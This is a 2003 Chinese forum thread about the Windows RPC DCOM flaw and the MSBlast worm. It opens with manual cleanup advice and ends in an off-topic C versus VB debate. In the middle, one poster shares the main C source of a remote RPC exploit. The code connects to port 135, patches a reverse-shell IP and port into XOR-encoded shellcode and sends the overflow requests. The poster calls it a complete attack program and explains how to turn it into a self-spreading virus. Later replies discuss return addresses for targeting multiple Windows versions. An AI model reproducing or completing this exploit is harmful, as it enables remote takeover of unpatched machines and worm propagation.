嘿嘿，rpc 的漏洞被人黑了啊，还不知道吗？
赶快打补丁去，即使不被人黑，被rpc的病毒染上更讨厌。

我讨厌杀毒软件，因此就喜欢手工杀了，关键是打好补丁（SP之类的，还有RPC补丁），我公司的机器今天全中RPC漏洞病毒，这个病毒还自动检测并生成了一个文件，注册表项也增加了几个调用的键值，程序启动后开了TCP和UDP的N多端口，不断的连接远程的135端口企图进一步的感染，因为我机器上的防火墙对局域网开放着，而且同事的机器都没有防火墙，因此也挨了这个病毒，这个自动生成的文件位于系统目录/WINNT/SYSTEM32下，名字为MSBLAST.EXE，这个文件被另外一个进程SVCHOST.exe启动，并不断的检测内存，因此我杀掉那个SVCHOST.exe进程之后，接着再杀掉MSBLAST.EXE这个进程，然后删除系统目录/WINNT/SYSTEM32的文件和注册表项，之后打SP和RPC补丁，防火墙阻挡所有对我机器135端口的连接，重新启动之后，最后用ACTIVE PORTS检测端口和程序文件，暂且没有事情发生,还在关注中...。

上上周和 hzzh 讨论了一个下午，他的程序强，window的一系列版本都被包括了，可以在远程开一个帐号或者一个shell，然后悄悄从启动 rpc 服务，让人觉得什么都没有发生，那个时候我就说一定会爆发病毒了，果然马上就出来了。
以下是主要代码（小翅你第一次尝的就是这个）：
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
   printf("WSAStartup error.Error:d\n",WSAGetLastError());
   return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
   printf("Socket failed.Error:d\n",WSAGetLastError());
   return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
   printf("Connect failed.Error:d",WSAGetLastError());
   return;
}
port1 = htons (2300); //反向连接的端口
port1 ^= 0x9393;
cb=0X0900A8C0; //反向连接的IP地址，这里是192.168.0.9，我的 ip 地址
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2; //计算文件名双字节长度
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
//计算各种结构的长度

*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,(char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
      printf("Send failed.Error:d\n",WSAGetLastError());
      return;
}

len=recv(sock,(char *)buf1,1000,NULL);
if (send(sock,(char *)buf2,len1,0)==SOCKET_ERROR)
{
      printf("Send failed.Error:d\n",WSAGetLastError());
      return;
}
len=recv(sock,(char *)buf1,1024,NULL);
}
其中变量：request4[]，sc[]，request3[]，request2[],request1[],bindstr[] 都是 unsigned char 。
其实他们就是后门 shell 和溢出的请求，如下：
unsigned char bindstr[]={

这就是完整的一个攻击程序了，如果把后门 shell 换成一个复制自己然后在用这段代码来攻击别人的，那么就是一个病毒了。
注意：这段代码功能比 hzzh 的要弱，只针对一个window版本，同时为防止没有道德的菜鸟直接编译了就去害人，这里我没有给出头文件。需要的可以和我联系看看。

以上代码绝大部分来自 internet ，然后组装而成，也不知道该怎么说版权，大家随意拷贝，可以不注出处。

你没有确定好JMP ESP地址 IN ole32.DLL地址吧，还是没有确定好内存的地址？HZZH对这个有深入的研究，写出来的自然是多个WINDOWS版本的，上面那些数字SHELL CODE代码真难看懂，一个家伙捆绑了更强大和精巧的SHELL CODE，可以针对N个WIN版本的，叫chDCOM.exe和endcom.EXE，可惜不知道哪里有原代码，要是懂汇编，我反汇编过来瞧个痛快。

针对n个版本并不是难事，只要收集足够的地址就可以了，然后供选择就可以了。
那些 shell code 这样看怎么可能看得懂？编译的结果啊。

当然不是，没有理由这样说。

答案很清楚：
我认为多做事，少说话，尤其是废话。而讨论C好还是VB好，先学习C 好还是先学习VB好，那么你应该去学习，管他哪个语言！而不是在这里说。

作者: ASEE 时间: 2003-8-13 11:56
VB就象PHP，我认为，可能我这么说，VB高手们不同意，PHP高手门也不乐意。
呵呵，本人肤浅的认识而已，不要介意，总之C++学到一定程度，什么语言都是小菜。VB，C/C++，PHP管他什么语言，学了再说，精通了再说，做软件不光看语言，而且看架构和思想，我接触的PHP,那些高手照样能写出大型的应用系统，而且使用大量的OO思想来架构系统，真是佩服。
